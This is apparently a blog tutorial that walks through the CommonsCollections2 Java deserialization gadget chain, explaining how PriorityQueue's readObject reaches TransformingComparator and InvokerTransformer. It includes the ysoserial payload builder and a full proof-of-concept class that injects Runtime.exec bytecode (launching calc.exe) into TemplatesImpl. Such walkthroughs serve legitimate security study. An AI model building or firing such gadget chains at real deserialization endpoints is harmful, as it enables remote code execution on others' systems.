CommonsCollection2
CommonsCollection2 uses Slightly different Approach
Although it uses the TemplatesImpl class to execute our controlled ByteCode along with InvokerTransformer but intead of chainedTransFormers it uses PriorityQueue
So lets First Dive in and understand what is PriorityQueue and how does it works.
import java.util.PriorityQueue;
public class SimplePriorityQueueDemo {
public static void main(String[] args) {
PriorityQueue<Integer> pq = new PriorityQueue<>();
pq.add(30);
pq.add(10);
pq.add(20);
System.out.println("Elements in priority order:");
while (!pq.isEmpty()) {
System.out.println(pq.poll());
}
}
}
On the above code You wil see the numbers getting printed one by One.
Similarly, in PriorityQueue, apart from the default (blank) constructor,
there is also a constructor that accepts a Comparator to define how the numbers in the queue are compared.
AnotherClass ob = new AnotherClass();
PriorityQueue<String> pq = new PriorityQueue<String>(2, ob);
pq.add("a");
pq.add("b");
The Another class looks like below
import java.io.IOException;
import java.io.Serializable;
import java.util.Comparator;
public class AnotherClass implements Comparator<String>, Serializable {
public int compare(String a, String b) {
if (a.equals(b))
return 1;
else {
return -1;
}
}
}
So the priorituQueue will execute the Compare Method Writeen on the AnotherClass.java file and will obtain the ouput
Basically, the constructor takes a Comparator, calls its compare() function,
and then uses the result of that function to determine the ordering of elements in the queue.
Now lets understand little bit more of the priorityQueue on deserialization context
As we know from vanila java deserialization method, the data received by the readObject() method gets executed , and lets say the data we sent , is of a class which has a readObject implmented .
Then even if there is a classCastExecption the readObject code will still get executed.
Examining the PriorityQueue we can see it has a readObject block that looks like Below.
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
// Read in size, and any hidden stuff
s.defaultReadObject();
// Read in (and discard) array length
s.readInt();
SharedSecrets.getJavaObjectInputStreamAccess()
.checkArray(s, Object[].class, size);
final Object[] es = queue = new Object[Math.max(size, 1)];
// Read in all elements.
for (int i = 0, n = size; i < n; i++)
es[i] = s.readObject();
// Elements are guaranteed to be in "proper order", but the
// spec has never explained what that might be.
heapify();
}
The heapify() checks if the comparator is null and if it is not null it calls the siftDownUsingComparator().
This function uses the Comparator we provided during the initilisation and calls the compare() method.
So the code Written on the Compare Method Will get Executed.
Now Lets Jump into the Payload
public Queue<Object> getObject(final String command) throws Exception {
final Object templates = Gadgets.createTemplatesImpl(command);
// mock method name until armed
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
// create queue with numbers and basic comparator
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, new TransformingComparator(transformer));
// stub data for replacement later
queue.add(1);
queue.add(1);
// switch method called by comparator
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
// switch contents of queue
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
queueArray[0] = templates;
queueArray[1] = 1;
return queue;
}
We are using TransFormingComparator .So the Compare() on TransFormingComparator will get Executed.
Lets Take a look into how the Compare() Looks like in the TransFormingCompartor.
public int compare(final I obj1, final I obj2) {
final O value1 = transformer.apply(obj1);
final O value2 = transformer.apply(obj2);
return decorated.compare(value1, value2);
}
It calls the Transformer.apply(), This transformer is the same TransFormer That we have passed
public TransformingComparator(final Transformer<? super I, ? extends O> transformer) {
this(transformer, ComparatorUtils.NATURAL_COMPARATOR);
}
/**
* Constructs an instance with the given Transformer and Comparator.
*
* @param transformer what will transform the arguments to {@code compare}
* @param decorated the decorated Comparator
*/
public TransformingComparator(
final Transformer<? super I, ? extends O> transformer,
final Comparator<O> decorated) {
this.decorated = decorated;
this.transformer = transformer;
}
And then it assigns it to this.transformer
So indeed it takes the TransFromer Provided by us and calls the TransForm() Method
But wait a sec, it calls the apply(), however there is no apply() in invokerTransformer, so there has to be some kind of code for the translation or apply() to transform
Check the code where the this.transForm is defined
private final Transformer<? super I, ? extends O> transformer;
One thing to keep in mind is some modern Java frameworks (like Streams and Lambdas) allow functional interfaces (like Transformer) to be treated like Function.
So the below code
Transformer<String, Integer> transformer = new InvokerTransformer<>("length", null, null);
Integer length = transformer.transform("Hello"); // Calls transform() directly
can also be written as
Function<String, Integer> func = transformer::transform; // Adapts `Transformer` to `Function`
Integer length = func.apply("Hello"); // Calls transform() via apply()
If you check the SuperClass i.e TransFormer.java you will see the below code
public interface Transformer<T, R> extends Function<T, R> {
@Override
default R apply(final T t) {
return transform(t);
}
/**
* Transforms the input object into some output object.
*
* The input object SHOULD be left unchanged.
*
*
* @param input the object to be transformed, should be left unchanged
* @return a transformed object
* @throws ClassCastException (runtime) if the input is the wrong class
* @throws IllegalArgumentException (runtime) if the input is invalid
* @throws FunctorException (runtime) if the transform cannot be completed
*/
R transform(T input);
}
This is how the apply() function eventually maps to transform().
In the full payload, we use TemplatesImpl and an InvokerTransformer to call toString() on it in order to trigger code execution.
But wait — the TemplatesImpl class doesn’t even define a toString() method.
So how are we actually achieving code execution with it?
In the ysoserial payload, at a later stage, the toString method name is replaced with newTransformer:
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
Then, using reflection, the contents of the queue are replaced with the TemplatesImpl object.
In short:
TemplatesImplis used to load our malicious bytecode.- To call
newTransformer()onTemplatesImpl, we use InvokerTransformer. - To reach the InvokerTransformer, we use TransformingComparator.
- We reach
TransformingComparatorthrough thePriorityQueueconstructor. - This whole chain executes because
PriorityQueue'sreadObject()triggersheapify(), which callsshiftDownUsingComparator(), which in turn callscompare().
Quick Question:
Since we're using reflection to replace toString with newTransformer(), can we just call newTransformer() directly in a local PoC?
The answer is yes — but the code will be slightly different. The last four lines of the PoC will look something like this:
InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]);
PriorityQueue<TemplatesImpl> priorityQueue = new PriorityQueue<TemplatesImpl>(2, new TransformingComparator(transformer));
priorityQueue.add(templates);
priorityQueue.add(templates);
The Entire Code along with CreatesImpl for CommonsCollection2 will look like below with the Above Modification.
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import java.lang.reflect.Field; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import java.util.PriorityQueue; import javax.xml.transform.Templates; import org.apache.commons.collections4.Transformer; import org.apache.commons.collections4.functors.*; import org.apache.commons.collections4.comparators.TransformingComparator; public class cc2 { public static void main(String[] args) throws Exception { String command = "calc.exe"; ClassPool pool = ClassPool.getDefault(); /* * Explanation: Creating bytecode that extends AbstractTranslet */ final CtClass clazz = pool.get(cc2.class.getName()); String cmd = "java.lang.Runtime.getRuntime().exec(\"" + command.replace("\\", "\\\\").replace("\"", "\\\"") + "\");"; clazz.makeClassInitializer().insertAfter(cmd); CtClass superC = pool.get(AbstractTranslet.class.getName()); clazz.setSuperclass(superC); final byte[] classBytes = clazz.toBytecode(); byte[] maliciousBytecode = classBytes; TemplatesImpl templates = new TemplatesImpl(); Field bytecodesField = TemplatesImpl.class.getDeclaredField("_bytecodes"); bytecodesField.setAccessible(true); bytecodesField.set(templates, new byte[][]{ maliciousBytecode }); Field nameField = TemplatesImpl.class.getDeclaredField("_name"); nameField.setAccessible(true); nameField.set(templates, "Exploit"); Field tfacname = TemplatesImpl.class.getDeclaredField("_tfactory"); tfacname.setAccessible(true); tfacname.set(templates, TransformerFactoryImpl.class.newInstance()); // Use transformer and transforming comparator InvokerTransformer transformer = new InvokerTransformer("newTransformer", new Class[0], new Object[0]); PriorityQueue<TemplatesImpl> priorityQueue = new PriorityQueue<TemplatesImpl>(2, new TransformingComparator(transformer)); priorityQueue.add(templates); priorityQueue.add(templates); /* Field field = PriorityQueue.class.getDeclaredField("queue"); field.setAccessible(true); final Object[] queueArray = (Object[]) field.get(priorityQueue); queueArray[0] = templates; queueArray[1] = 1; */ } }
This is how the CommonsCollection2 Payload works, staring from the EntryPoint to Code Execution
Summary:
CommonsCollections2uses aPriorityQueueandTransformingComparatorinstead of a chain of transformers orLazyMap.- The exploit chain is triggered during deserialization via
PriorityQueue.readObject(), which callsheapify(). heapify()invokescompare()from the providedComparator, in this case aTransformingComparator.TransformingComparator.compare()internally callstransformer.apply(), which maps totransformer.transform()due to interface inheritance.InvokerTransformeris used to invokenewTransformer()on a maliciousTemplatesImplobject, which executes the injected bytecode.- The queue contents are manipulated using reflection to ensure
TemplatesImplis used during comparison. - In a simplified local PoC, the method name can be directly set to
newTransformerwithout needing to override it via reflection.
Thats it for Today.
Thanks For Reading.
Happy Hacking.
You can connect with me at: